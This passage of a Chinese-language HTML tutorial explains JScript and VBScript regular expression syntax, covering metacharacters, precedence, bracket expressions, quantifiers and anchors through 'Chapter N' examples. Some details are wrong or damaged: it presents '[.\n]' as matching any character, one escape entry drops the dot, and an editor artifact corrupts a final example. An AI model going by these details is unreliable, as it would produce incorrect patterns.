或 '&#92;r' 之后的位置。</td></tr> <tr valign="top"> <td width="16%">$</td> <td width="84%">匹配输入字符串的结束位置。如果设置了<strong>RegExp</strong> 对象的 <strong>Multiline</strong> 属性，$ 也匹配 '&#92;n' 或 '&#92;r' 之前的位置。</td></tr> <tr valign="top"> <td width="16%">*</td> <td width="84%">匹配前面的子表达式零次或多次。例如，zo* 能匹配 &quot;z&quot; 以及 &quot;zoo&quot;。* 等价于&#123;0,&#125;。</td></tr> <tr valign="top"> <td width="16%">+</td> <td width="84%">匹配前面的子表达式一次或多次。例如，'zo+' 能匹配 &quot;zo&quot; 以及 &quot;zoo&quot;，但不能匹配 &quot;z&quot;。+ 等价于 &#123;1,&#125;。</td></tr> <tr valign="top"> <td width="16%">?</td> <td width="84%">匹配前面的子表达式零次或一次。例如，&quot;do(es)?&quot; 可以匹配 &quot;do&quot; 或 &quot;does&quot; 中的&quot;do&quot; 。? 等价于 &#123;0,1&#125;。</td></tr> <tr valign="top"> <td width="16%">&#123;<em>n</em>&#125;</td> <td width="84%"><em>n</em> 是一个非负整数。匹配确定的 <em>n</em> 次。例如，'o&#123;2&#125;' 不能匹配 &quot;Bob&quot; 中的 'o'，但是能匹配 &quot;food&quot; 中的两个 o。</td></tr> <tr valign="top"> <td width="16%">&#123;<em>n</em>,&#125;</td> <td width="84%"><em>n</em> 是一个非负整数。至少匹配<em>n</em> 次。例如，'o&#123;2,&#125;' 不能匹配 &quot;Bob&quot; 中的 'o'，但能匹配 &quot;foooood&quot; 中的所有 o。'o&#123;1,&#125;' 等价于 'o+'。'o&#123;0,&#125;' 则等价于 'o*'。</td></tr> <tr valign="top"> <td width="16%">&#123;<em>n</em>,<em>m</em>&#125;</td> <td width="84%"><em>m</em> 和 <em>n</em> 均为非负整数，其中<em>n</em> ＜= <em>m</em>。最少匹配 <em>n</em> 次且最多匹配 <em>m</em> 次。例如，&quot;o&#123;1,3&#125;&quot; 将匹配 &quot;fooooood&quot; 中的前三个 o。'o&#123;0,1&#125;' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。</td></tr> <tr valign="top"> <td width="16%">?</td> <td width="84%">当该字符紧跟在任何一个其他限制符 (*, +, ?, &#123;<em>n</em>&#125;, &#123;<em>n</em>,&#125;, &#123;<em>n</em>,<em>m</em>&#125;) 后面时，匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串，而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如，对于字符串 &quot;oooo&quot;，'o+?' 将匹配单个 &quot;o&quot;，而 'o+' 将匹配所有 'o'。</td></tr> <tr valign="top"> <td width="16%">.</td> <td width="84%">匹配除 &quot;&#92;n&quot; 之外的任何单个字符。要匹配包括 '&#92;n' 在内的任何字符，请使用象 '[.&#92;n]' 的模式。</td></tr> <tr valign="top"> <td width="16%">(<em>pattern</em>)</td> <td width="84%">匹配 <em>pattern</em> 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到，在VBScript 中使用 <strong>SubMatches</strong> 集合，在JScript 中则使用 <strong>$0</strong>&hellip;<strong>$9</strong> 属性。要匹配圆括号字符，请使用 '&#92;(' 或 '&#92;)'。</td></tr> <tr valign="top"> <td width="16%">(?:<em>pattern</em>)</td> <td width="84%">匹配 <em>pattern</em> 但不获取匹配结果，也就是说这是一个非获取匹配，不进行存储供以后使用。这在使用 &quot;或&quot; 字符 (&#124;) 来组合一个模式的各个部分是很有用。例如， 'industr(?:y&#124;ies) 就是一个比 'industry&#124;industries' 更简略的表达式。</td></tr> <tr valign="top"> <td width="16%">(?=<em>pattern</em>)</td> <td width="84%">正向预查，在任何匹配 <em>pattern</em> 的字符串开始处匹配查找字符串。这是一个非获取匹配，也就是说，该匹配不需要获取供以后使用。例如，'Windows (?=95&#124;98&#124;NT&#124;2000)' 能匹配 &quot;Windows 2000&quot; 中的 &quot;Windows&quot; ，但不能匹配 &quot;Windows 3.1&quot; 中的 &quot;Windows&quot;。预查不消耗字符，也就是说，在一个匹配发生后，在最后一次匹配之后立即开始下一次匹配的搜索，而不是从包含预查的字符之后开始。</td></tr> <tr valign="top"> <td width="16%">(?!<em>pattern</em>)</td> <td width="84%">负向预查，在任何不匹配 <em>pattern</em> 的字符串开始处匹配查找字符串。这是一个非获取匹配，也就是说，该匹配不需要获取供以后使用。例如'Windows (?!95&#124;98&#124;NT&#124;2000)' 能匹配 &quot;Windows 3.1&quot; 中的 &quot;Windows&quot;，但不能匹配 &quot;Windows 2000&quot; 中的 &quot;Windows&quot;。预查不消耗字符，也就是说，在一个匹配发生后，在最后一次匹配之后立即开始下一次匹配的搜索，而不是从包含预查的字符之后开始 </td></tr> <tr valign="top"> <td width="16%"><em>x</em>&#124;<em>y</em></td> <td width="84%">匹配 <em>x</em> 或 <em>y</em>。例如，'z&#124;food' 能匹配 &quot;z&quot; 或 &quot;food&quot;。'(z&#124;f)ood' 则匹配 &quot;zood&quot; 或 &quot;food&quot;。</td></tr> <tr valign="top"> <td width="16%">[<em>xyz</em>]</td> <td width="84%">字符集合。匹配所包含的任意一个字符。例如， '[abc]' 可以匹配 &quot;plain&quot; 中的 'a'。</td></tr> <tr valign="top"> <td width="16%">[^<em>xyz</em>]</td> <td width="84%">负值字符集合。匹配未包含的任意字符。例如， '[^abc]' 可以匹配 &quot;plain&quot; 中的'p'。</td></tr> <tr valign="top"> <td width="16%">[<em>a-z</em>]</td> <td width="84%">字符范围。匹配指定范围内的任意字符。例如，'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。</td></tr> <tr valign="top"> <td width="16%">[^<em>a-z</em>]</td> <td width="84%">负值字符范围。匹配任何不在指定范围内的任意字符。例如，'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。</td></tr> <tr valign="top"> <td width="16%">&#92;b</td> <td width="84%">匹配一个单词边界，也就是指单词和空格间的位置。例如， 'er&#92;b' 可以匹配&quot;never&quot; 中的 'er'，但不能匹配 &quot;verb&quot; 中的 'er'。</td></tr> <tr valign="top"> <td width="16%">&#92;B</td> <td width="84%">匹配非单词边界。'er&#92;B' 能匹配 &quot;verb&quot; 中的 'er'，但不能匹配 &quot;never&quot; 中的 'er'。</td></tr> <tr valign="top"> <td width="16%">&#92;c<em>x</em></td> <td width="84%">匹配由 <em>x </em>指明的控制字符。例如， &#92;cM 匹配一个 Control-M 或回车符。<em>x</em> 的值必须为 A-Z 或 a-z 之一。否则，将 c 视为一个原义的 'c' 字符。</td></tr> <tr valign="top"> <td width="16%">&#92;d</td> <td width="84%">匹配一个数字字符。等价于 [0-9]。</td></tr> <tr valign="top"> <td width="16%">&#92;D</td> <td width="84%">匹配一个非数字字符。等价于 [^0-9]。</td></tr> <tr valign="top"> <td width="16%">&#92;f</td> <td width="84%">匹配一个换页符。等价于 &#92;x0c 和 &#92;cL。</td></tr> <tr valign="top"> <td width="16%">&#92;n</td> <td width="84%">匹配一个换行符。等价于 &#92;x0a 和 &#92;cJ。</td></tr> <tr valign="top"> <td width="16%">&#92;r</td> <td width="84%">匹配一个回车符。等价于 &#92;x0d 和 &#92;cM。</td></tr> <tr valign="top"> <td width="16%">&#92;s</td> <td width="84%">匹配任何空白字符，包括空格、制表符、换页符等等。等价于 [&nbsp;&#92;f&#92;n&#92;r&#92;t&#92;v]。</td></tr> <tr valign="top"> <td width="16%">&#92;S</td> <td width="84%">匹配任何非空白字符。等价于 [^&nbsp;&#92;f&#92;n&#92;r&#92;t&#92;v]。</td></tr> <tr valign="top"> <td width="16%">&#92;t</td> <td width="84%">匹配一个制表符。等价于 &#92;x09 和 &#92;cI。</td></tr> <tr valign="top"> <td width="16%">&#92;v</td> <td width="84%">匹配一个垂直制表符。等价于 &#92;x0b 和 &#92;cK。</td></tr> <tr valign="top"> <td width="16%">&#92;w</td> <td width="84%">匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。</td></tr> <tr valign="top"> <td width="16%">&#92;W</td> <td width="84%">匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。</td></tr> <tr valign="top"> <td width="16%">&#92;x<em>n</em></td> <td width="84%">匹配 <em>n</em>，其中 <em>n</em> 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如，'&#92;x41' 匹配 &quot;A&quot;。'&#92;x041' 则等价于 '&#92;x04' &amp; &quot;1&quot;。正则表达式中可以使用 ASCII 编码。.</td></tr> <tr valign="top"> <td width="16%">&#92;<em>num</em></td> <td width="84%">匹配 <em>num</em>，其中 <em>num</em> 是一个正整数。对所获取的匹配的引用。例如，'(.)&#92;1' 匹配两个连续的相同字符。</td></tr> <tr valign="top"> <td width="16%">&#92;<em>n</em></td> <td width="84%">标识一个八进制转义值或一个向后引用。如果 &#92;<em>n</em> 之前至少 <em>n</em> 个获取的子表达式，则 <em>n</em> 为向后引用。否则，如果 <em>n</em> 为八进制数字 (0-7)，则 <em>n</em> 为一个八进制转义值。</td></tr> <tr valign="top"> <td width="16%">&#92;<em>nm</em></td> <td width="84%">标识一个八进制转义值或一个向后引用。如果 &#92;<em>nm</em> 之前至少有 <em>nm</em> 个获得子表达式，则 <em>nm</em> 为向后引用。如果 &#92;<em>nm</em> 之前至少有 <em>n</em> 个获取，则 <em>n</em> 为一个后跟文字 <em>m </em>的向后引用。如果前面的条件都不满足，若 <em>n</em> 和 <em>m</em> 均为八进制数字 (0-7)，则 &#92;<em>nm</em> 将匹配八进制转义值 <em>nm</em>。</td></tr> <tr valign="top"> <td width="16%">&#92;<em>nml</em></td> <td width="84%">如果 <em>n</em> 为八进制数字 (0-3)，且 <em>m</em> 和 <em>l</em> 均为八进制数字 (0-7)，则匹配八进制转义值 <em>nml。</em></td></tr> <tr valign="top"> <td width="16%">&#92;u<em>n</em></td> <td width="84%">匹配 <em>n</em>，其中 <em>n</em> 是一个用四个十六进制数字表示的Unicode 字符。例如， &#92;u00A9 匹配版权符号 (&copy;)。</td></tr></tbody></table><br /><p><strong> 建立正则表达式<br /><br /></strong>&nbsp;&nbsp; 构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。可以通过在一对分隔符之间放入 表达式模式的各种组件来构造一个正则表达式。对 JScript 而言，分隔符为一对正斜杠 (/) 字符。例如：/expression/。对 VBScript 而言，则采用一对引号 (&quot;&quot;) 来确定正则表达式的边界。例如：&quot;expression&quot;。 </p> <p>&nbsp;&nbsp; 在上面所示的两个示例中，正则表达式模式 (expression) 均存储在RegExp 对象的Pattern 属性中。正则表达式的组件可以是单个的字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。 <br /><br /><strong>&nbsp;&nbsp; 优先级顺序</strong><br /><br />&nbsp;&nbsp; 在构造正则表达式之后，就可以象数学表达式一样来求值，也就是说，可以从左至右并按照一个优先级顺序来求值。下表从最高优先级到最低优先级列出各种正则表达式操作符的优先级顺序：</p> <p> <table border="1" cellspacing="0" cellpadding="1" width="420" align="center" bgcolor="#f1f1f1" bordercolor="#999999"> <tbody> <tr valign="top"> <th width="40%">操作符</th> <th width="60%">描述</th></tr> <tr valign="top"> <td width="40%">&#92;</td> <td width="60%">转义符</td></tr> <tr valign="top"> <td width="40%">(), (?:), (?=), []</td> <td width="60%">圆括号和方括号</td></tr> <tr valign="top"> <td width="40%">*, +, ?, &#123;n&#125;, &#123;n,&#125;, &#123;n,m&#125;</td> <td width="60%">限定符</td></tr> <tr valign="top"> <td width="40%">^, $, &#92;<em>anymetacharacter</em></td> <td width="60%">位置和顺序</td></tr> <tr valign="top"> <td width="40%">&#124;</td> <td width="60%">&ldquo;或&rdquo;操作</td></tr></tbody></table></p> <p><br /><strong>&nbsp;&nbsp; 普通字符</strong><br /><br />&nbsp;&nbsp; 普通字符由所有那些未显式指定为元字符的打印和非打印字符组成。这包括所有的大写和小写字母字符，所有数字，所有标点符号以及一些符号。最简单的正则表达 式是一个单独的普通字符，可以匹配所搜索字符串中的该字符本身。例如，单字符模式 'A' 可以匹配所搜索字符串中任何位置出现的字母 'A'。这里有一些单字符正则表达式模式的示例：</p> <p>/a/<br /><br />/7/<br /><br />/M/<br /><br />等价的 VBScript 单字符正则表达式为：<br /><br />&quot;a&quot;<br /><br />&quot;7&quot;<br /><br />&quot;M&quot;<br /><br />&nbsp;&nbsp; 可以将多个单字符组合在一起得到一个较大的表达式。例如，下面的 JScript 正则表达式不是别的，就是通过组合单字符表达式 'a'、'7'以及 'M' 所创建出来的一个表达式。<br /><br />/a7M/<br /><br />&nbsp;&nbsp; 等价的 VBScript 表达式为：&quot;a7M&quot;<br /><br />&nbsp;&nbsp; 请注意这里没有连接操作符。所需要做的就是将一个字符放在了另一个字符后面。<br /><br /><strong>&nbsp;&nbsp; 特殊字符</strong><br /><br />&nbsp;&nbsp; 有不少元字符在试图对其进行匹配时需要进行特殊的处理。要匹配这些特殊字符，必须首先将这些字符转义，也就是在前面使用一个反斜杠 (&#92;)。下表给出了这些特殊字符及其含义：</p> <p> <table border="1" cellspacing="0" cellpadding="1" width="420" align="center" bgcolor="#f1f1f1" bordercolor="#999999"> <tbody> <tr valign="top"> <th width="16%">特殊字符</th> <th width="84%">说明</th></tr> <tr valign="top"> <td width="16%">$</td> <td width="84%">匹配输入字符串的结尾位置。如果设置了 <strong>RegExp</strong> 对象的 <strong>Multiline</strong> 属性，则 $ 也匹配 '&#92;n' 或 '&#92;r'。要匹配 $ 字符本身，请使用 &#92;$。</td></tr> <tr valign="top"> <td width="16%">( )</td> <td width="84%">标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符，请使用 &#92;( 和 &#92;)。</td></tr> <tr valign="top"> <td width="16%"><strong>*</strong></td> <td width="84%">匹配前面的子表达式零次或多次。要匹配 * 字符，请使用 &#92;*。</td></tr> <tr valign="top"> <td width="16%"><strong>+</strong></td> <td width="84%">匹配前面的子表达式一次或多次。要匹配 + 字符，请使用 &#92;+。</td></tr> <tr valign="top"> <td width="16%"><strong>.</strong></td> <td width="84%">匹配除换行符 &#92;n之外的任何单字符。要匹配 .，请使用 &#92;。</td></tr> <tr valign="top"> <td width="16%">[ </td> <td width="84%">标记一个中括号表达式的开始。要匹配 [，请使用 &#92;[。</td></tr> <tr valign="top"> <td width="16%">?</td> <td width="84%">匹配前面的子表达式零次或一次，或指明一个非贪婪限定符。要匹配 ? 字符，请使用 &#92;?。</td></tr> <tr valign="top"> <td width="16%">&#92;</td> <td width="84%">将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如， 'n' 匹配字符 'n'。'&#92;n' 匹配换行符。序列 '&#92;&#92;' 匹配 &quot;&#92;&quot;，而 '&#92;(' 则匹配 &quot;(&quot;。</td></tr> <tr valign="top"> <td width="16%">^</td> <td width="84%">匹配输入字符串的开始位置，除非在方括号表达式中使用，此时它表示不接受该字符集合。要匹配 ^ 字符本身，请使用 &#92;^。</td></tr> <tr valign="top"> <td width="16%">&#123;</td> <td width="84%">标记限定符表达式的开始。要匹配 &#123;，请使用 &#92;&#123;。</td></tr> <tr valign="top"> <td width="16%">&#124;</td> <td width="84%">指明两项之间的一个选择。要匹配 &#124;，请使用 &#92;&#124;。</td></tr></tbody></table></p> <p><br /><strong>&nbsp;&nbsp; 非打印字符</strong></p> <p>&nbsp;&nbsp; 有不少很有用的非打印字符，偶尔必须使用。下表显示了用来表示这些非打印字符的转义序列：</p> <p> <table border="1" cellspacing="0" cellpadding="1" width="420" align="center" bgcolor="#f1f1f1" bordercolor="#999999"> <tbody> <tr valign="top"> <th width="16%">字符</th> <th width="84%">含义</th></tr> <tr valign="top"> <td width="16%">&#92;c<em>x</em></td> <td width="84%">匹配由<em>x</em>指明的控制字符。例如， &#92;cM 匹配一个 Control-M 或回车符。<em>x</em> 的值必须为 A-Z 或 a-z 之一。否则，将 c 视为一个原义的 'c' 字符。</td></tr> <tr valign="top"> <td width="16%">&#92;f</td> <td width="84%">匹配一个换页符。等价于 &#92;x0c 和 &#92;cL。</td></tr> <tr valign="top"> <td width="16%">&#92;n</td> <td width="84%">匹配一个换行符。等价于 &#92;x0a 和 &#92;cJ。</td></tr> <tr valign="top"> <td width="16%">&#92;r</td> <td width="84%">匹配一个回车符。等价于 &#92;x0d 和 &#92;cM。</td></tr> <tr valign="top"> <td width="16%">&#92;s</td> <td width="84%">匹配任何空白字符，包括空格、制表符、换页符等等。等价于 [&nbsp;&#92;f&#92;n&#92;r&#92;t&#92;v]。</td></tr> <tr valign="top"> <td width="16%">&#92;S</td> <td width="84%">匹配任何非空白字符。等价于 [^&nbsp;&#92;f&#92;n&#92;r&#92;t&#92;v]。</td></tr> <tr valign="top"> <td width="16%">&#92;t</td> <td width="84%">匹配一个制表符。等价于 &#92;x09 和 &#92;cI。</td></tr> <tr valign="top"> <td width="16%">&#92;v</td> <td width="84%">匹配一个垂直制表符。等价于 &#92;x0b 和 &#92;cK。</td></tr></tbody></table></p> <p><br /><strong>&nbsp;&nbsp; 字符匹配</strong></p> <p>&nbsp;&nbsp; 句点 (.) 匹配一个字符串中任何单个的打印或非打印字符，除了换行符 (&#92;n) 之外。下面的 JScript 正则表达式可以匹配 'aac'、'abc'、'acc'、'adc'如此等等，同样也可以匹配 'a1c'、'a2c'、a-c'以及 a#c'：<br /><br />/a.c/等价的 VBScript 正则表达式为：&quot;a.c&quot;<br /><br />&nbsp;&nbsp; 如果试图匹配一个包含文件名的字符串，其中句点 (.) 是输入字符串的一部分，则可以在正则表达式中的句点前面加上一个反斜杠 (&#92;) 字符来实现这一要求。举例来说，下面的 JScript 正则表达式就能匹配 'filename.ext'：<br /><br />/filename&#92;.ext/对 VBScript 而言，等价的表达式如下所示：<br /><br />&quot;filename&#92;.ext&quot; </p> <p>&nbsp;&nbsp;&nbsp; 这些表达式仍然是相当有限的。它们只允许匹配<em>任何</em>单字符。很多情况下，对从列表中匹配特殊字符十分有用。例如，如果输入文字中包含用数字表示为Chapter 1, Chapter 2诸如此类的章节标题，你可能需要找到这些章节标题。</p> <p><strong>&nbsp;&nbsp; 括号表达式</strong><br /><br />&nbsp;&nbsp; 可以在一个方括号 ([ 和 ]) 中放入一个或多个单字符，来创建一个待匹配的列表。如果字符被放入括号中括起来，则该列表称为<em>括号表达式</em>。括号内和其他任何地方一样，普通字符代表其本身，也就是说，它们匹配输入文字中出现的一处自己。大多数特殊字符在位于括号表达式中时都将失去其含义。这里有一些例外： </p> <ul><li>']' 字符如果不是第一项，则将结束一个列表。要在列表中匹配 ']' 字符，请将其放在第一项，紧跟在开始的 '[' 后面。&nbsp;&nbsp;</li><li>'&#92;' 仍然作为转义符。要匹配 '&#92;' 字符，请使用 '&#92;&#92;'。 </li></ul> <p>&nbsp;&nbsp; 括号表达式中所包含的字符只匹配该括号表达式在正则表达式中所处位置的一个单字符。下面的 JScript 正则表达式可以匹配 'Chapter 1'、'Chapter 2'、'Chapter 3'、'Chapter 4' 以及 'Chapter 5'：/Chapter [12345]/在 VBScript 中要匹配同样的章节标题，请使用下面的表达式：&quot;Chapter [12345]&quot;</p> <p>&nbsp;&nbsp; 请注意单词 'Chapter' 及后面的空格与括号内的字符的位置关系是固定的。</p> <p>&nbsp;&nbsp; 因此，括号表达式只用来指定满足紧跟在单词 'Chapter' 和一个空格之后的单字符位置的字符集合。这里是第九个字符位置。<br /><br />&nbsp;&nbsp; 如果希望使用范围而不是字符本身来表示待匹配的字符，则可以使用连字符将该范围的开始和结束字符分开。每个字符的字符值将决定其在一个范围内的相对顺序。下面的 JScript 正则表达式包含了一个等价于上面所示的括号列表的范围表达式。<br /><br /></p><pre>/Chapter [1-5]/VBScript 中相同功能的表达式如下所示：&quot;Chapter [1-5]&quot;</pre> <p>&nbsp;&nbsp; 如果以这种方式指定范围，则开始和结束值都包括在该范围内。有一点特别需要注意的是，在 Unicode 排序中起始值一定要在结束值之前。<br /><br />&nbsp;&nbsp; 如果想在括号表达式中包括连字符，则必须使用下述方法之一： </p> <ul><li>使用反斜杠将其转义： [&#92;-]&nbsp;&nbsp;</li><li>将连字符放在括号列表的开始和结束位置。下面的表达式能匹配所有的小写字母和连字符： [-a-z]&nbsp; [a-z-]&nbsp;&nbsp;</li><li>创建一个范围，其中开始字符的值小于连字符，而结束字符的值等于或大于连字符。下面两个正则表达式都满足这一要求：[!--]&nbsp; [!-~] </li></ul> <p>&nbsp;&nbsp; 同样，通过在列表开始处放置一个插入符(^)，就可以查找所有不在列表或范围中的字符。如果该插入符出现在列表的其他位置，则匹配其本身，没有任何特殊含义。下面的 JScript 正则表达式匹配章节号大于 5 的章节标题：<br /><br /></p><pre>/Chapter [^12345]/对 VBScript 则使用：&quot;Chapter [^12345]&quot;</pre> <p>&nbsp;&nbsp; 在上面所示的示例中，表达式将匹配第九个位置处除1, 2, 3, 4, or 5 之外的任何数字字符。因此， 'Chapter 7' 为一个匹配，同样 'Chapter 9' 也是如此。<br /><br />&nbsp;&nbsp; 上面的表达式可以使用连字符 (-) 表示。对 JScript 为：/Chapter [^1-5]/或者，对 VBScript 为：&quot;Chapter [^1-5]&quot;</p> <p>括号表达式的典型用法是指定对任何大写或小写字母字符或任何数字的匹配。</p> <p>&nbsp;&nbsp; 下面的 JScript 表达式给出了这一匹配：/[A-Za-z0-9]/等价的 VBScript 表达式为：&quot;[A-Za-z0-9]&quot;</p><table border="0" cellspacing="0" cellpadding="10" align="left"><tbody><tr><td>&nbsp;</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </tbody></table>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p><strong> 限定符</strong> </p> <p>&nbsp;&nbsp; 有时候不知道要匹配多少字符。为了能适应这种不确定性，正则表达式支持限定符的概念。这些限定符可以指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。<br /><br />&nbsp; 下表给出了各种限定符及其含义的说明：</p> <p> <table border="1" cellspacing="0" cellpadding="1" width="420" align="center" bgcolor="#f1f1f1" bordercolor="#999999"> <tbody> <tr valign="top"> <th width="16%">字符</th> <th width="84%">描述</th></tr> <tr valign="top"> <td width="16%">* </td> <td width="84%">匹配前面的子表达式零次或多次。例如，zo* 能匹配 &quot;z&quot; 以及 &quot;zoo&quot;。* 等价于&#123;0,&#125;。</td></tr> <tr valign="top"> <td width="16%">+ </td> <td width="84%">匹配前面的子表达式一次或多次。例如，'zo+' 能匹配 &quot;zo&quot; 以及 &quot;zoo&quot;，但不能匹配 &quot;z&quot;。+ 等价于 &#123;1,&#125;。</td></tr> <tr valign="top"> <td width="16%">? </td> <td width="84%">匹配前面的子表达式零次或一次。例如，&quot;do(es)?&quot; 可以匹配 &quot;do&quot; 或 &quot;does&quot; 中的&quot;do&quot; 。? 等价于 &#123;0,1&#125;。</td></tr> <tr valign="top"> <td width="16%">&#123;<em>n</em>&#125;</td> <td width="84%"><em>n</em> 是一个非负整数。匹配确定的 <em>n</em> 次。例如，'o&#123;2&#125;' 不能匹配 &quot;Bob&quot; 中的 'o'，但是能匹配 &quot;food&quot; 中的两个 o。</td></tr> <tr valign="top"> <td width="16%">&#123;<em>n</em>,&#125; </td> <td width="84%"><em>n</em> 是一个非负整数。至少匹配<em>n</em> 次。例如，'o&#123;2,&#125;' 不能匹配 &quot;Bob&quot; 中的 'o'，但能匹配 &quot;foooood&quot; 中的所有 o。'o&#123;1,&#125;' 等价于 'o+'。'o&#123;0,&#125;' 则等价于 'o*'。</td></tr> <tr valign="top"> <td width="16%">&#123;<em>n</em>,<em>m</em>&#125; </td> <td width="84%"><em>m</em> 和 <em>n</em> 均为非负整数，其中<em>n</em> ＜= <em>m</em>。最少匹配 <em>n</em> 次且最多匹配 <em>m</em> 次。例如，&quot;o&#123;1,3&#125;&quot; 将匹配 &quot;fooooood&quot; 中的前三个 o。'o&#123;0,1&#125;' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。</td></tr></tbody></table></p> <p><br /><br />&nbsp;&nbsp; 对一个很大的输入文档而言，章节数很轻易就超过九章，因此需要有一种方法来处理两位数或者三位数的章节号。限定符就提供了这个功能。下面的JScript 正则表达式可以匹配具有任何位数的章节标题：<br /><br />/Chapter [1-9][0-9]*/下面的 VBScript 正则表达式执行同样的匹配：&quot;Chapter [1-9][0-9]*&quot;</p> <p>&nbsp;&nbsp; 请注意限定符出现在范围表达式之后。因此，它将应用于所包含的整个范围表达式，在本例中，只指定了从 0 到 9 的数字。<br /><br />&nbsp;&nbsp; 这里没有使用 '+' 限定符，因为第二位或后续位置上并不一定需要一个数字。同样也没有使用 '?' 字符，因为这将把章节数限制为只有两位数字。在 'Chapter' 和空格字符之后至少要匹配一个数字。<br /><br />&nbsp;&nbsp; 如果已知章节数限制只有99 章，则可以使用下面的 JScript 表达式来指定至少有一位数字，但不超过两个数字。<br /><br /></p><pre>/Chapter [0-9]&#123;1,2&#125;/对 VBScript 可以使用下述正则表达式：&quot;Chapter [0-9]&#123;1,2&#125;&quot;</pre> <p>&nbsp;&nbsp; 上述表达式的缺点是如果有一个章节号大于 99，它仍只会匹配前两位数字。另一个缺点是某些人可以创建一个 Chapter 0，而且仍能匹配。一个更好的用来匹配两位数的 JScript 表达式如下：<br /><br />/Chapter [1-9][0-9]?/或者/Chapter [1-9][0-9]&#123;0,1&#125;/</p> <p>对 VBScript 而言，下述表达式与上面等价：<br /><br />&quot;Chapter [1-9][0-9]?&quot;或者&quot;Chapter [1-9][0-9]&#123;0,1&#125;&quot;</p> <p>'*'、'+' 和 '?' 限定符都称之为<em>贪婪的</em>，也就是说，他们尽可能多地匹配文字。有时这根本就不是所希望发生的情况。有时则正好希望最小匹配。<br /><br />&nbsp;&nbsp; 例如，你可能要搜索一个 HTML 文档来查找一处包含在 H1 标记中的章节标题。在文档中该文字可能具有如下形式：<br /><br />＜H1＞Chapter 1 &ndash; Introduction to Regular Expressions＜/H1＞</p> <p>&nbsp;&nbsp; 下面的表达式匹配从开始的小于号 (＜) 到 H1 标记结束处的大于号之间的所有内容。<br /><br /></p><pre>/＜.*＞/VBScript 的正则表达式为&quot;＜.*＞&quot;</pre> <p>&nbsp;&nbsp; 如果所要匹配的就是开始的 H1 标记，则下述非贪婪地表达式就只匹配。<br /><br /></p><pre>/＜.*?＞/或者&quot;＜.*?＞&quot;</pre> <p>&nbsp;&nbsp; 通过在 '*'、 '+' 或 '?' 限定符后放置 '?'，该表达式就从贪婪匹配转为了非贪婪或最小匹配。</p> <p><strong>&nbsp;&nbsp; 定位符</strong><br /><br />&nbsp;&nbsp; 到现在为止，所看到的示例都只考虑查找任何地方出现的章节标题。出现的任何一个字符串 'Chapter' 后跟一个空格和一个数字可能是一个真正的章节标题，也可能是对其他章节的交叉引用。由于真正的章节标题总是出现在一行的开始，因此需要设计一个方法只查找 标题而不查找交叉引用。<br /><br />&nbsp;&nbsp; 定位符提供了这个功能。定位符可以将一个正则表达式固定在一行的开始或结束。也可以创建只在单词内或只在单词的开始或结尾处出现的正则表达式。下表包含了正则表达式及其含义的列表：</p> <p> <table border="1" cellspacing="0" cellpadding="1" width="420" align="center" bgcolor="#f1f1f1" bordercolor="#999999"> <tbody> <tr valign="top"> <th width="16%">字符</th> <th width="84%">描述</th></tr> <tr valign="top"> <td width="16%">^</td> <td width="84%">匹配输入字符串的开始位置。如果设置了 <strong>RegExp</strong> 对象的 <strong>Multiline</strong> 属性，^ 也匹配 '&#92;n' 或 '&#92;r' 之后的位置。</td></tr> <tr valign="top"> <td width="16%">$</td> <td width="84%">匹配输入字符串的结束位置。如果设置了<strong>RegExp</strong> 对象的 <strong>Multiline</strong> 属性，$ 也匹配 '&#92;n' 或 '&#92;r' 之前的位置。</td></tr> <tr valign="top"> <td width="16%">&#92;b</td> <td width="84%">匹配一个单词边界，也就是指单词和空格间的位置。</td></tr> <tr valign="top"> <td width="16%">&#92;B</td> <td width="84%">匹配非单词边界。</td></tr></tbody></table></p> <p><br />&nbsp;&nbsp; 不能对定位符使用限定符。因为在一个换行符或者单词边界的前面或后面不会有连续多个位置，因此诸如 '^*' 的表达式是不允许的。<br /><br />&nbsp;&nbsp; 要匹配一行文字开始位置的文字，请在正则表达式的开始处使用 '^' 字符。不要把 '^' 的这个语法与其在括号表达式中的语法弄混。它们的语法根本不同。<br /><br />&nbsp;&nbsp; 要匹配一行文字结束位置的文字，请在正则表达式的结束处使用 '$' 字符。<br /><br />&nbsp;&nbsp; 要在查找章节标题时使用定位符，下面的 JScript 正则表达式将匹配位于一行的开始处最多有两个数字的章节标题：<br /><br /></p><pre>&nbsp;&nbsp;/^Chapter [1-9][0-9]&#123;0,1&#125;/VBScript 中相同功能的正则表达式如&quot;^Chapter [1-9][0-9]&#123;0,1&#125;&quot;</pre> <p>&nbsp; 一个真正的章节标题不仅出现在一行的开始，而且这一行中也仅有这一个内容，因此，它必然也位于一行的结束。下面的表达式确保所指定的匹配只匹配章节而不会匹配交叉引用。它是通过创建一个只匹配一行文字的开始和结束位置的正则表达式来实现的。<br /><br /></p><pre>/^Chapter [1-9][0-9]&#123;0,1&#125;$/对 VBScript 则使用&quot;^Chapter [1-9][0-9]&#123;0,1&#125;___FCKpd___4quot;</pre> <p>&nbsp;&nbsp; 